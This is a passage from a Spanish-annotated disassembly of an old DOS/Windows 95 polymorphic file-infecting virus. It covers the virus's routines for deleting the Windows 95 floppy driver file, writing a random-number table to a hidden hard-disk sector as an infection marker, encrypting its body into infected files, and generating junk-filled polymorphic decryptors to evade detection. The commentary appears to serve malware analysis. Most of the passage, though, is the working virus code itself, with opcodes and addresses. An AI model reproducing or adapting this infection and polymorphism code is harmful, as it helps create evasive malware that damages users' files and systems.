Mira si el byte es 0 ∩0DA6:07BF 75FA JNZ 07BB Ω; Si no lo es, sigue copiando ∩0DA6:07C1 4F DEC DI Ω; Decrementa DI para que apunte Ω; al final de la cadena copiada. Ω; Al llegar aquí, tendrá enton- Ω; ces en 1E6Ah el directorio Ω; donde se encuentra el WINDOWS Ω; 95 ∩0DA6:07C2 0E PUSH CS Ω; DS = CS ∩0DA6:07C3 1F POP DS ∩0DA6:07C4 BE5C07 MOV SI,075C Ω; SI = 075Ch, que es una cade- Ω; na de caracteres que añadirá Ω; al final del directorio para Ω; formar una ruta de acceso. Ω; Esta cadena es: Ω; '\SYSTEM\IOSUBSYS\HSFLOP.PDR' ∩0DA6:07C7 B91C00 MOV CX,001C Ω; Copia los 28 bytes que tiene ∩0DA6:07CA F3 REPZ Ω; la cadena de longitud (inclu- ∩0DA6:07CB A4 MOVSB Ω; yendo un byte 0 al final) ∩0DA6:07CC B441 MOV AH,41 Ω; Usa la función 41h de la int Ω; 21h, que es para borrar un ar- Ω; chivo apuntado por DS:DX (DX Ω; apunta a la ruta de acceso re- Ω; cién formada) ∩0DA6:07CE E8F4FA CALL 02C5 Ω; Emula la instrucción INT 21h ∩0DA6:07D1 7307 JNB 07DA Ω; Si no hay error, salta y acaba ∩0DA6:07D3 3C02 CMP AL,02 Ω; Comprueba si el error ha sido Ω; que no ha encontrado el archi- Ω; vo ∩0DA6:07D5 8BFB MOV DI,BX Ω; En DI pone la dirección donde Ω; se había quedado buscando la Ω; cadena ∩0DA6:07D7 74A3 JZ 077C Ω; Si AL es 2, salta y repite el Ω; proceso ∩0DA6:07D9 F9 STC Ω; Si no es, pone el CF a 1 ∩0DA6:07DA 5A POP DX Ω; Saca DX y DS del stack ∩0DA6:07DB 1F POP DS ∩0DA6:07DC C3 RET Ω; Retorna Ω; Estos datos, junto con los op- Ω; codes B4h+1º byte y CDh+2º byte Ω; forman las instrucciones: ∩0DA6:07DD 001A DB 00,1A Ω; MOV AL,00 - INT 1A ∩0DA6:07DF 021A DB 02,1A Ω; MOV AL,02 - INT 1A ∩0DA6:07E1 041A DB 04,1A Ω; MOV AL,04 - INT 1A ∩0DA6:07E3 0310 DB 03,10 Ω; MOV AL,03 - INT 10 ∩0DA6:07E5 0810 DB 08,10 Ω; MOV AL,08 - INT 10 ∩0DA6:07E7 0F10 DB 0F,10 Ω; MOV AL,0F - INT 10 ∩0DA6:07E9 0B21 DB 0B,21 Ω; etc. ∩0DA6:07EB 0D21 DB 0D,21 ∩0DA6:07ED 1821 DB 18,21 ∩0DA6:07EF 1921 DB 19,21 ∩0DA6:07F1 2A21 DB 2A,21 ∩0DA6:07F3 2C21 DB 2C,21 ∩0DA6:07F5 3021 DB 30,21 ∩0DA6:07F7 4D21 DB 4D,21 ∩0DA6:07F9 5121 DB 51,21 ∩0DA6:07FB 5421 DB 54,21 ∩0DA6:07FD 6221 DB 62,21 ∩0DA6:07FF 0B21 DB 0B,21 Ω; Aquí las repite porque se vé ∩0DA6:0801 0D21 DB 0D,21 Ω; que el autor no encontraba más Ω; o estaba harto de buscar :) Ω; Instrucciones de 2 bytes o pares de Ω; 1+1 bytes que selecciona en :086F Ω; para hacer basura para los desencrip- Ω; tadores ∩0DA6:0803 CD2B INT 2B ∩0DA6:0805 CD2C INT 2C ∩0DA6:0807 CD2D INT 2D ∩0DA6:0809 CD28 INT 28 ∩0DA6:080B CD1C INT 1C ∩0DA6:080D CD08 INT 08 ∩0DA6:080F CD0A INT 0A ∩0DA6:0811 CD0B INT 0B ∩0DA6:0813 CD0C INT 0C ∩0DA6:0815 CD0D INT 0D ∩0DA6:0817 CD0F INT 0F ∩0DA6:0819 CD0E INT 0E ∩0DA6:081B CD70 INT 70 ∩0DA6:081D CD71 INT 71 ∩0DA6:081F CD72 INT 72 ∩0DA6:0821 CD73 INT 73 ∩0DA6:0823 CD74 INT 74 ∩0DA6:0825 CD75 INT 75 ∩0DA6:0827 CD76 INT 76 ∩0DA6:0829 CD77 INT 77 ∩0DA6:082B CD01 INT 01 ∩0DA6:082D CC INT 3 ∩0DA6:082E CC INT 3 ∩0DA6:082F 50 PUSH AX ∩0DA6:0830 58 POP AX ∩0DA6:0831 53 PUSH BX ∩0DA6:0832 5B POP BX ∩0DA6:0833 51 PUSH CX ∩0DA6:0834 59 POP CX ∩0DA6:0835 52 PUSH DX ∩0DA6:0836 5A POP DX ∩0DA6:0837 57 PUSH DI ∩0DA6:0838 5F POP DI ∩0DA6:0839 56 PUSH SI ∩0DA6:083A 5E POP SI ∩0DA6:083B 55 PUSH BP ∩0DA6:083C 5D POP BP ∩0DA6:083D 1E PUSH DS ∩0DA6:083E 1F POP DS ∩0DA6:083F 06 PUSH ES ∩0DA6:0840 07 POP ES ∩0DA6:0841 16 PUSH SS ∩0DA6:0842 17 POP SS ∩0DA6:0843 CE DB CE,74 Ω; Word que utiliza para obtener bytes Ω; aleatorios que utilizará para cons- Ω; truir la cadena de aleatorios "ge- Ω; neral". ∩0DA6:0845 3A DB 3A Ω; Byte de control donde guarda en Ω; la rutina de :0846 el número alea- Ω; torio que obtiene y lo compara con Ω; el siguiente que consigue al vol- Ω; ver a llamar a la rutina para que Ω; no sea el mismo ε;;;;; Rutina para obtener una instrucción basura compleja (tales como INTs ε;;;;; inefectivas, funciones de interrupciones que sólo devuelven información ε;;;;; o pares de instrucciones PUSH/POP. Se le pasa el tamaño en BL, que será ε;;;;; 0 (si no se quiere ninguna instrucción), 2 (si se quiere una instrucción ε;;;;; INT o un par PUSH/POP) o 4 (con el cual se obtendrá en DX-AX una instruc- ε;;;;; ción MOV AH,**/INT **) ∩0DA6:0846 E8F100 CALL 093A Ω; Obtiene un aleatorio de la Ω; cadena de aleatorios del vi- Ω; rus ∩0DA6:0849 F6C410 TEST AH,10 Ω; Comprueba si el bit 4 de AH Ω; está a 1 ∩0DA6:084C 7449 JZ 0897 Ω; Si no está, salta a :0897 ∩0DA6:084E 80FB02 CMP BL,02 Ω; Comprueba si BL es 2 ∩0DA6:0851 7407 JZ 085A Ω; Si es, salta a :085A ∩0DA6:0853 80FB04 CMP BL,04 Ω; ¿Es 4? ∩0DA6:0856 741D JZ 0875 Ω; Si es, salta a :0875 ∩0DA6:0858 EB3D JMP 0897 Ω; Pone BL a 0 y retorna ∩0DA6:085A 0440 ADD AL,40 Ω; Suma 40 a AL ∩0DA6:085C 73FC JNB 085A Ω; Si no se pasa, sigue sumando Ω; hasta que se pase ∩0DA6:085E 24FE AND AL,FE Ω; Anula el bit inferior de AL Ω; y lo convierte en par. AL Ω; es ahora un número par entre Ω; 0 y 3Fh ∩0DA6:0860 3A064508 CMP AL,[0845] Ω; Comprueba si AL es el número Ω; que guarda en [0845] ∩0DA6:0864 74E0 JZ 0846 Ω; Si es, salta y vuelve a hacer Ω; este proceso ∩0DA6:0866 A24508 MOV [0845],AL Ω; Pone el nuevo número en AL ∩0DA6:0869 56 PUSH SI Ω; Guarda SI ∩0DA6:086A 98 CBW Ω; AH = 0 ∩0DA6:086B 93 XCHG BX,AX Ω; Intercambia BX y AX ∩0DA6:086C BE0308 MOV SI,0803 Ω; En SI la dirección de inicio Ω; de las instrucciones basura Ω; que cogerá ahora. Pueden ser Ω; instrucciones INT sin efecto Ω; o pares PUSH/POP ∩0DA6:086F 8B00 MOV AX,[BX+SI] Ω; Coge en AX el opcode de la Ω; instrucción escogida ∩0DA6:0871 5E POP SI Ω; Recupera SI ∩0DA6:0872 B302 MOV BL,02 Ω; BL = 2 ∩0DA6:0874 C3 RET Ω; Retorna Ω; Aquí si BL en el inicio de la Ω; función era 4 ∩0DA6:0875 0426 ADD AL,26 Ω; Suma 26 a AL ∩0DA6:0877 73FC JNB 0875 Ω; Sigue sumándole hasta que hay Ω; rebosamiento ∩0DA6:0879 24FE AND AL,FE Ω; Hace el número par ∩0DA6:087B 3A064508 CMP AL,[0845] Ω; Comprueba si es el mismo que Ω; en [0845] ∩0DA6:087F 74C5 JZ 0846 Ω; Si es, vuelve a empezar y co- Ω; ge otro aleatorio ∩0DA6:0881 A24508 MOV [0845],AL Ω; Lo guarda en [0845], una vez Ω; que lo ha obtenido ∩0DA6:0884 56 PUSH SI Ω; Guarda SI ∩0DA6:0885 98 CBW Ω; AH = 0 ∩0DA6:0886 93 XCHG BX,AX Ω; Pone el número de AX en BX, Ω; que servirá como índice ∩0DA6:0887 BEDD07 MOV SI,07DD Ω; En SI el inicio de otra ca- Ω; dena de instrucciones basura. Ω; Junto con los opcodes B4h Ω; (MOV AH,**) y CDh (INT **) Ω; formará un par de instruccio- Ω; nes que sólo devuelven infor- Ω; mación y no modifican nada. ∩0DA6:088A 8A20 MOV AH,[BX+SI] Ω; En AH obtiene el primer nú- Ω; mero ∩0DA6:088C 8A7001 MOV DH,[BX+SI+01] Ω; En DH el segundo ∩0DA6:088F B0B4 MOV AL,B4 Ω; En AL el opcode de MOV AH,** ∩0DA6:0891 B2CD MOV DL,CD Ω; En DL el opcode de INT ** ∩0DA6:0893 5E POP SI Ω; Saca SI ∩0DA6:0894 B304 MOV BL,04 Ω; BL = 4 ∩0DA6:0896 C3 RET Ω; Retorna Ω; Aquí si BL no es ni 2 ni 4 ∩0DA6:0897 B300 MOV BL,00 Ω; BL = 0 ∩0DA6:0899 C3 RET Ω; Retorna ε;;;; Rutina para obtener una cantidad de basura para el desencriptador en for- ε;;;; ma de instrucciones "complejas", como INTs, etc. Se puede obtener una can- ε;;;; tidad de 0 a 12 bytes de basura de este tipo ∩0DA6:089A BD0300 MOV BP,0003 Ω; BP = 3 para hacer el LOOP 3 Ω; veces ∩0DA6:089D 4D DEC BP Ω; Decrementa BP ∩0DA6:089E 7415 JZ 08B5 Ω; Si es 0, acaba. ∩0DA6:08A0 E8A3FF CALL 0846 Ω; Obtiene en AX o en DX-AX ins- Ω; trucciones basura para inser- Ω; tar en el desencriptador po- Ω; limorfeado ∩0DA6:08A3 02CB ADD CL,BL Ω; Suma a CL el tamaño de la ba- Ω; sura obtenida ∩0DA6:08A5 80FB02 CMP BL,02 Ω; Mira si BL es 02 ∩0DA6:08A8 7209 JB 08B3 Ω; Salta a :08B3 si BL = 0 y Ω; "LOOPea" ∩0DA6:08AA 7703 JA 08AF Ω; Salta a :08AF si BL = 4 ∩0DA6:08AC AB STOSW Ω; Almacena la instrucción obte- Ω; nida ∩0DA6:08AD EBEE JMP 089D Ω; Salta para continuar Ω; Aquí desde :08AA si BL es 4 ∩0DA6:08AF AB STOSW Ω; Almacena la instrucción en Ω; AX ∩0DA6:08B0 8BC2 MOV AX,DX Ω; Y ahora hace lo mismo con la ∩0DA6:08B2 AB STOSW Ω; instrucción en DX ∩0DA6:08B3 EBE8 JMP 089D Ω; Salta y hace el LOOP Ω; Aquí desde :08B5 ∩0DA6:08B5 C3 RET Ω; Retorna ε;;; Rutina para obtener un aleatorio de la cadena de aleatorios que el virus ε;;; guarda en el disco duro. Este aleatorio estará entre 0 y 2 ∩0DA6:08B6 33DB XOR BX,BX Ω; BX a 0 ∩0DA6:08B8 50 PUSH AX Ω; Guarda AX ∩0DA6:08B9 E87E00 CALL 093A Ω; Obtiene en AX un número de la cade- Ω; na de aleatorios que se guarda en Ω; el disco duro ∩0DA6:08BC 8AD8 MOV BL,AL Ω; En BL pone el byte bajo de este nú- Ω; mero ∩0DA6:08BE 58 POP AX Ω; Saca AX del stack ∩0DA6:08BF 8AC3 MOV AL,BL Ω; En AL vuelve a poner este número ∩0DA6:08C1 0ADB OR BL,BL Ω; Mira si es 0 ∩0DA6:08C3 74F3 JZ 08B8 Ω; Si lo es, repite el proceso con el Ω; nuevo BX ∩0DA6:08C5 80E303 AND BL,03 Ω; Anula los 6 bits superiores de BL y ∩0DA6:08C8 80FB03 CMP BL,03 Ω; comprueba si el resultado es 3 ∩0DA6:08CB 7202 JB 08CF Ω; Si es menor, retorna ∩0DA6:08CD EBE9 JMP 08B8 Ω; Si no, repite el proceso ∩0DA6:08CF C3 RET Ω; Retorna ε;;;; Rutina para escribir en una zona del disco duro no declarada una ristra ε;;;; de words aleatorios (256 words) que usará después en las rutinas de poli- ε;;;; morfismo. Esto también le sirve para identificar un sistema infectado o ε;;;; no. ∩0DA6:08D0 0E PUSH CS ∩0DA6:08D1 0E PUSH CS ∩0DA6:08D2 07 POP ES Ω; ES = CS ∩0DA6:08D3 1F POP DS Ω; DS = CS ∩0DA6:08D4 B408 MOV AH,08 Ω; Obtiene el formato del disco duro ∩0DA6:08D6 B280 MOV DL,80 Ω; (los valores límite de cilindros, ∩0DA6:08D8 CD13 INT 13 Ω; sectores y cabezales) en CX y DX. ∩0DA6:08DA BBBA20 MOV BX,20BA Ω; Lee el ?????? sector del ?????? ∩0DA6:08DD B80102 MOV AX,0201 Ω; cilindro del ????????? cabezal del ∩0DA6:08E0 FEC5 INC CH Ω; disco duro y lo pone en un buffer ∩0DA6:08E2 FECE DEC DH Ω; propio en CS:20BA. ∩0DA6:08E4 FECE DEC DH ∩0DA6:08E6 B101 MOV CL,01 ∩0DA6:08E8 B280 MOV DL,80 ∩0DA6:08EA CD13 INT 13 ∩0DA6:08EC 723E JB 092C Ω; Si hay error, acaba ∩0DA6:08EE E86A00 CALL 095B Ω; Obtiene un número aleatorio en AX ∩0DA6:08F1 240F AND AL,0F Ω; Obtiene en AL un número entre 1 y Ω; 15 ∩0DA6:08F3 3C07 CMP AL,07 Ω; Comprueba que es el valor 7 ∩0DA6:08F5 7406 JZ 08FD Ω; Si es, salta para generar una nue- Ω; va secuencia aleatoria en ese sec- Ω; tor de ese cilindro de ese cabezal ∩0DA6:08F7 813FDDCC CMP WORD PTR [BX],CCDD Ω; Comprueba si el inicio de Ω; lo leído en ese sector es el valor Ω; DDCCh (recordemos el sistema de Ω; INTEL de reverse-word). ∩0DA6:08FB 742F JZ 092C Ω; Si es, acaba ∩0DA6:08FD B90001 MOV CX,0100 Ω; Si no es, pone en CX el valor 256 ∩0DA6:0900 8BFB MOV DI,BX Ω; En DI, la dirección 20BAh ∩0DA6:0902 E85600 CALL 095B Ω; Genera una cadena de 256 words de ∩0DA6:0905 0345FE ADD AX,[DI-02] Ω; números aleatorios en DI, y para ∩0DA6:0908 8905 MOV [DI],AX Ω; hacerlos más aleatorios, al obte- ∩0DA6:090A 47 INC DI Ω; nido le suma el anterior cada vez. ∩0DA6:090B 47 INC DI Ω; Por cierto, podría haber usado ∩0DA6:090C E2F4 LOOP 0902 Ω; STOSW en vez de MOV .../INC DI... ∩0DA6:090E C707DDCC MOV WORD PTR [BX],CCDD Ω; En el inicio de la cade- Ω; na, pone el identificador DDCCh ∩0DA6:0912 B408 MOV AH,08 Ω; Vuelve a obtener el formato del ∩0DA6:0914 B280 MOV DL,80 Ω; disco duro ∩0DA6:0916 CD13 INT 13 ∩0DA6:0918 BBBA20 MOV BX,20BA Ω; Y ahora escribe la cadena aleato- ∩0DA6:091B B80103 MOV AX,0301 Ω; ria de 512 bytes en el ?????? sec- ∩0DA6:091E FEC5 INC CH Ω; tor del ??????...bla,bla,bla ∩0DA6:0920 FECE DEC DH ∩0DA6:0922 FECE DEC DH ∩0DA6:0924 B101 MOV CL,01 ∩0DA6:0926 B280 MOV DL,80 ∩0DA6:0928 CD13 INT 13 Ω; La escribe ∩0DA6:092A 7201 JB 092D Ω; Si hay error, salta ∩0DA6:092C C3 RET Ω; Retorna ∩0DA6:092D B80D44 MOV AX,440D Ω; Accede a una función del controla- ∩0DA6:0930 BB8001 MOV BX,0180 Ω; dor de dispositivos no documenta- ∩0DA6:0933 B94B08 MOV CX,084B Ω; da. De todas maneras, está mal, ∩0DA6:0936 CD21 INT 21 Ω; puesto que para acceder al disco Ω; duro el autor tendría que haber Ω; puesto MOV BX,0103 para la unidad Ω; C:, y detectar mediante otro sis- Ω; tema si el disco duro está en C: Ω; o si por el contrario está en otra Ω; letra, para así cambiar este núme- Ω; ro al que corresponda. ∩0DA6:0938 EBD8 JMP 0912 Ω; Salta, haya tenido éxito o no. Si Ω; ha habido la mala suerte de que no Ω; ha podido escribir y por tanto ha Ω; saltado a esta porción de código, Ω; se hará un bucle infinito debido a Ω; este bug. ε;;; Función para obtener un número aleatorio en AX de la cadena de aleatorios ε;;; que el virus "fabrica" al infectar el sistema, y que después utiliza en ε;;; las rutinas de polimorfismo. Obtiene un aleatorio de la cadena utilizando ε;;; el primer word de ella como índice para obtener uno a lo largo de toda ε;;; ella. ∩0DA6:093A 53 PUSH BX Ω; Guarda BX ∩0DA6:093B 2E CS: ∩0DA6:093C 8B1EBA20 MOV BX,[20BA] Ω; Obtiene el valor en [20BA] ∩0DA6:0940 81FB0002 CMP BX,0200 Ω; Comprueba si es 200h ∩0DA6:0944 7206 JB 094C Ω; Si es menor, salta ∩0DA6:0946 83E301 AND BX,+01 Ω; Se deja en BX sólamente el último ∩0DA6:0949 80F301 XOR BL,01 Ω; bit y se invierte Ω; Aquí si BX < 200h ∩0DA6:094C 83C302 ADD BX,+02 Ω; Se le suma 2 a BX ∩0DA6:094F 2E CS: ∩0DA6:0950 891EBA20 MOV [20BA],BX Ω; Se pone el resultado en [20BA] ∩0DA6:0954 2E CS: ∩0DA6:0955 8B87BA20 MOV AX,[BX+20BA] Ω; Coge en AX el valor en el índi- Ω; ce BX de esa cadena de aleato- Ω; rios ∩0DA6:0959 5B POP BX Ω; Saca BX del stack ∩0DA6:095A C3 RET Ω; Retorna ε;;;; Rutina para generar un número aleatorio en AX ∩0DA6:095B 32C0 XOR AL,AL Ω; Activa los contadores 0 del ∩0DA6:095D E643 OUT 43,AL Ω; PIT (Programmable Interrupt Ω; Timer). ∩0DA6:095F EB00 JMP 0961 Ω; Salto de espera ∩0DA6:0961 E440 IN AL,40 Ω; Obtiene en AL un número más o Ω; menos aleatorio ∩0DA6:0963 8AE0 MOV AH,AL Ω; AH = AL ∩0DA6:0965 E440 IN AL,40 Ω; Obtiene otro (que con el Ω; tiempo que ha pasado, segura- Ω; mente será el mismo). ∩0DA6:0967 32C4 XOR AL,AH Ω; XORea este con el anterior ∩0DA6:0969 86C4 XCHG AL,AH Ω; Intercambia estos ∩0DA6:096B 51 PUSH CX Ω; Guarda CX ∩0DA6:096C 8ACC MOV CL,AH Ω; En CL, AH ∩0DA6:096E 80E10F AND CL,0F Ω; Anula los 4 bits superiores ∩0DA6:0971 D3C0 ROL AX,CL Ω; Rota AX ∩0DA6:0973 8BC8 MOV CX,AX Ω; Pone en CX el número resultan- Ω; te ∩0DA6:0975 81E1FF07 AND CX,07FF Ω; Anula los 13 bits superiores ∩0DA6:0979 EB00 JMP 097B Ω; Vacía la Prefetch Queue (la Ω; cola, llamada comunmente, que Ω; es el buffer que el procesa- Ω; dor tiene para ir leyendo la Ω; siguiente instrucción mien- Ω; tras ejecuta la actual. Con Ω; las instrucciones de salto, Ω; el procesador ha de detenerse Ω; porque tiene que procesar el Ω; salto para saber cuál es la Ω; siguiente instrucción que ha Ω; de leer. ∩0DA6:097B 90 NOP Ω; Un NOP que no hace nada ∩0DA6:097C E2FB LOOP 0979 Ω; Hace LOOP. La verdad es que Ω; con esto genera un retardo Ω; aleatorio. ∩0DA6:097E 59 POP CX Ω; Saca el anterior CX ∩0DA6:097F 2E CS: ∩0DA6:0980 31064308 XOR [0843],AX Ω; XORea el anterior WORD que Ω; es modificado aleatoriamente Ω; con cada llamada a la función ∩0DA6:0984 2E CS: ∩0DA6:0985 03064308 ADD AX,[0843] Ω; Le suma a AX ese valor ∩0DA6:0989 0AE4 OR AH,AH Ω; Si AH es 0, vuelve a realizar ∩0DA6:098B 74CE JZ 095B Ω; la secuencia ∩0DA6:098D 0AC0 OR AL,AL Ω; Lo mismo con AL ∩0DA6:098F 74CA JZ 095B ∩0DA6:0991 C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Rutina para polimorfear el virus, crear un desencriptador y escribir todo ; ε;;; esto al archivo, de manera que el virus quede listo para su ejecución. La ; ε;;; cabecera (si es un EXE) queda modificada en relación a esto, y tan sólo ; ε;;; habrá que escribirla para que el nuevo archivo quede satisfactoriamente ; ε;;; infectado ; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:0992 56 PUSH SI Ω; Guarda SI y BX en el stack ∩0DA6:0993 53 PUSH BX ∩0DA6:0994 FC CLD Ω; Hacia delante ∩0DA6:0995 C706BA200000 MOV WORD PTR [20BA],0000 Ω; En [20BA] pone el valor Ω; 0. :20BA es la dirección Ω; donde guardó al princi- Ω; pio la cadena de alea- Ω; torios ∩0DA6:099B 33F6 XOR SI,SI Ω; SI = 0 ∩0DA6:099D BF861E MOV DI,1E86 Ω; En DI la dirección donde ac- Ω; tuará ∩0DA6:09A0 C7066C0E6A1C MOV WORD PTR [0E6C],1C6A Ω; En [0E6C] el valor 1C6A ∩0DA6:09A6 A16E0E MOV AX,[0E6E] Ω; Coge en AX el valor en [0E6E] Ω; que es donde ha metido el off- Ω; set de inicio del virus en el Ω; archivo ∩0DA6:09A9 A3760E MOV [0E76],AX Ω; Lo pone en [0E76] y modifica Ω; la instrucción en ese punto Ω; (es un MOV **,XXXX , y lo que Ω; hace es meter el IP en XXXX) ∩0DA6:09AC E807FF CALL 08B6 Ω; Obtiene un número entre 0 y 2 Ω; en BX de la cadena de aleato- Ω; rios con la que polimorfea el Ω; virus ∩0DA6:09AF 8A87D20F MOV AL,[BX+0FD2] Ω; Obtiene en AL el opcode de la Ω; instrucción XOR, SUB o ADD y Ω; junto con... ∩0DA6:09B3 B4E0 MOV AH,E0 Ω; ... E0h forma XOR AL,AH , Ω; SUB AL,AH o ADD AL,AH ∩0DA6:09B5 A3010A MOV [0A01],AX Ω; Lo pone en [0A01] ∩0DA6:09B8 A3E309 MOV [09E3],AX Ω; Y también en [09E3]. Estas Ω; instrucciones las ejecutará Ω; después y servirá para encrip- Ω; tar el cuerpo del virus ∩0DA6:09BB 80F303 XOR BL,03 Ω; XORea BX con el valor 3. Aho- Ω; ra BX tendrá el valor Ω; 3-(BX anterior) ∩0DA6:09BE 8A87D20F MOV AL,[BX+0FD2] Ω; Obtiene el opcode que haga la Ω; operación inversa al obtenido Ω; antes. Es decir, si antes ob- Ω; tuvo el opcode de ADD, ahora Ω; obtendrá el de SUB, y vicever- Ω; sa. Si obtuvo antes el opcode Ω; de XOR, ahora volverá a obte- Ω; nerlo ∩0DA6:09C2 A27A0E MOV [0E7A],AL Ω; Lo mete en [0E7A] ∩0DA6:09C5 E872FF CALL 093A Ω; Obtiene en AX un múmero alea- Ω; torio de la cadena general ∩0DA6:09C8 A25D0F MOV [0F5D],AL Ω; Mete AL en [0F5D] ∩0DA6:09CB A22400 MOV [0024],AL Ω; Pone el valor este a la ins- Ω; trucción :0023 MOV AL,XX ∩0DA6:09CE 8826740E MOV [0E74],AH Ω; Y ahora pone el valor de AH Ω; a la instrucción Ω; :0E73 MOV CL,XX ∩0DA6:09D2 5B POP BX Ω; Recupera el handle en BX del ∩0DA6:09D3 53 PUSH BX Ω; stack y lo vuelve a meter ∩0DA6:09D4 C7060D002EF7 MOV WORD PTR [000D],F72E Ω; Pone en :000D la ins- ∩0DA6:09DA C6060F0015 MOV BYTE PTR [000F],15 Ω; trucción Ω; NOT WORD PTR CS:[DI] ∩0DA6:09DF B91400 MOV CX,0014 Ω; CX = 20 ∩0DA6:09E2 AC LODSB Ω; Carga en AL el primer byte del Ω; virus ∩0DA6:09E3 00E0 ADD AL,AH Ω; Lo suma con la clave que ha Ω; calculado antes ∩0DA6:09E5 AA STOSB Ω; Almacena el resultado a partir Ω; de :1E86 ∩0DA6:09E6 E2FA LOOP 09E2 Ω; Lo repite 20 veces (ha encrip- Ω; tado el segundo desencripta- Ω; dor del virus) ∩0DA6:09E8 B9EC01 MOV CX,01EC Ω; CX = 492. Ahora empezará a Ω; partir de :0014 ∩0DA6:09EB AC LODSB Ω; Carga un byte ∩0DA6:09EC 81FEA301 CMP SI,01A3 Ω; Comprueba si SI es 01A3h ∩0DA6:09F0 720D JB 09FF Ω; Si es menor, salta ∩0DA6:09F2 86265D0F XCHG AH,[0F5D] Ω; Intercambia AH con la clave Ω; anterior ∩0DA6:09F6 32C4 XOR AL,AH Ω; XORea AL con ella ∩0DA6:09F8 80C401 ADD AH,01 Ω; Le suma 1 ∩0DA6:09FB 86265D0F XCHG AH,[0F5D] Ω; La vuelve a intercambiar ∩0DA6:09FF F6D0 NOT AL Ω; NOTea AX ∩0DA6:0A01 00E0 ADD AL,AH Ω; Le suma la clave de criptado ∩0DA6:0A03 AA STOSB Ω; La almacena ∩0DA6:0A04 E2E5 LOOP 09EB Ω; Repite el proceso 492 veces. Ω; Esto lo hace porque desde Ω; 01A3h en adelante está crip- Ω; tado 2 veces, mientras que Ω; lo anterior sólo está cripta- Ω; do con una clave (sin contar Ω; el encriptado principal, cla- Ω; ro está). ∩0DA6:0A06 E84A04 CALL 0E53 Ω; Escribe 512 bytes criptados Ω; al archivo que se está infec- Ω; tando ∩0DA6:0A09 7239 JB 0A44 Ω; Si hay error, acaba ∩0DA6:0A0B 8B0E6C0E MOV CX,[0E6C] Ω; Coge en CX el valor en [0E6C], Ω; que será inicialmente 1C6A (el Ω; tamaño del virus menos 512 by- Ω; tes) ∩0DA6:0A0F E31D JCXZ 0A2E Ω; Si CX es 0, salta a :0A2E ∩0DA6:0A11 81E90002 SUB CX,0200 Ω; Le resta 512 a CX ∩0DA6:0A15 7209 JB 0A20 Ω; Si es menor, salta ∩0DA6:0A17 890E6C0E MOV [0E6C],CX Ω; Mete el nuevo valor en el Ω; word de tamaño que queda por Ω; escribir ∩0DA6:0A1B B90002 MOV CX,0200 Ω; CX = 512 ∩0DA6:0A1E EBCB JMP 09EB Ω; Salta y repite el proceso an- Ω; terior desde :09EB Ω; Aquí si el valor que quedaba Ω; en [0E6C] era menor que 512 ∩0DA6:0A20 81C10002 ADD CX,0200 Ω; Suma 512 a CX ∩0DA6:0A24 C7066C0E0000 MOV WORD PTR [0E6C],0000 Ω; Pone el valor que fal- Ω; ta por criptar como 0 ∩0DA6:0A2A 8BD1 MOV DX,CX Ω; Pone este word en DX para que Ω; la función funcione ∩0DA6:0A2C EBBD JMP 09EB Ω; Salta y repite el proceso Ω; Aquí si CX es 0 desde :0A0F ∩0DA6:0A2E E85004 CALL 0E81 Ω; Rutina para crear un desen- Ω; criptador polimórfico a par- Ω; tir de la cadena de aleatorios Ω; del virus ∩0DA6:0A31 E87002 CALL 0CA4 Ω; Llama a esta rutina para ba- Ω; rajar las tres primeras ins- Ω; trucciones del desencriptador Ω; que ha creado ∩0DA6:0A34 E81000 CALL 0A47 Ω; Llena de basura el desencrip- Ω; tador que ha hecho y modifica Ω; ciertas instrucciones ∩0DA6:0A37 BA6A1F MOV DX,1F6A Ω; En DX la dirección del nuevo Ω; desencriptador, que copia a Ω; partir del virus encriptado ∩0DA6:0A3A B440 MOV AH,40 Ω; Función de escritura ∩0DA6:0A3C 83C111 ADD CX,+11 Ω; Suma 11 a CX ∩0DA6:0A3F 90 NOP Ω; NOP??!! Dentro de un virus se Ω; tendrían que prohibir los Ω; NOPs! ∩0DA6:0A40 E882F8 CALL 02C5 Ω; Int 21h ∩0DA6:0A43 F8 CLC Ω; Limpia el Carry Flag, tanto si Ω; ha tenido éxito como si no. ∩0DA6:0A44 5B POP BX Ω; Saca BX y SI anterior ∩0DA6:0A45 5E POP SI ∩0DA6:0A46 C3 RET Ω; Retorna ε;;; Rutina para polimorfear el desencriptador creado y llenarlo de basura que ε;;; dificulte su detección. ∩0DA6:0A47 53 PUSH BX Ω; Guarda BX ∩0DA6:0A48 55 PUSH BP Ω; Guarda BP ∩0DA6:0A49 BE861E MOV SI,1E86 Ω; SI = :1E86 (donde está el de- Ω; sencriptador) ∩0DA6:0A4C BF6A1F MOV DI,1F6A Ω; DI = :1F6A (256 bytes a partir Ω; del final del virus) ∩0DA6:0A4F 33C9 XOR CX,CX Ω; CX = 0 ∩0DA6:0A51 E8AA02 CALL 0CFE Ω; Rutina para hacer basura es- Ω; pecial (PUSH, CLI) ∩0DA6:0A54 B304 MOV BL,04 Ω; BL = 04 ∩0DA6:0A56 E841FE CALL 089A Ω; Obtiene basura tipo MOV AH,**/ Ω; INT ** , con valores que sólo Ω; devuelven información y no va- Ω; rían nada en el sistema ∩0DA6:0A59 E84903 CALL 0DA5 Ω; Inserta primero una instruc- Ω; ción PUSH SP/POP BP o Ω; MOV BP,SP , y después una ins- Ω; trucción: Ω; CMP/XOR/SUB/AND/ADD WORD/BYTE Ω; PTR [BP-06/-05], **** ∩0DA6:0A5C E8CA03 CALL 0E29 Ω; Inserta una instrucción JNZ ** Ω; aleatoria ∩0DA6:0A5F E8BD01 CALL 0C1F Ω; Rutina para insertar una ins- Ω; trucción de JMP SHORT/LONG de Ω; poca longitud (de 1 a 4 bytes) Ω; y meter basura por medio (que Ω; no se ejecutará). ∩0DA6:0A62 E8A100 CALL 0B06 Ω; Inserta un número indetermina- Ω; do de bytes del desencriptador Ω; que ha hecho antes al que aho- Ω; ra está construyendo ∩0DA6:0A65 E8B701 CALL 0C1F Ω; Vuelve a insertar un JMP alea- Ω; torio ∩0DA6:0A68 E89B00 CALL 0B06 Ω; Copia bytes del desencriptador ∩0DA6:0A6B E8B101 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0A6E E89500 CALL 0B06 Ω; Copia bytes del desencriptador ∩0DA6:0A71 E8AB01 CALL 0C1F Ω; Inserta un JMP aleatorio ∩0DA6:0A74 B302 MOV BL,02 Ω; 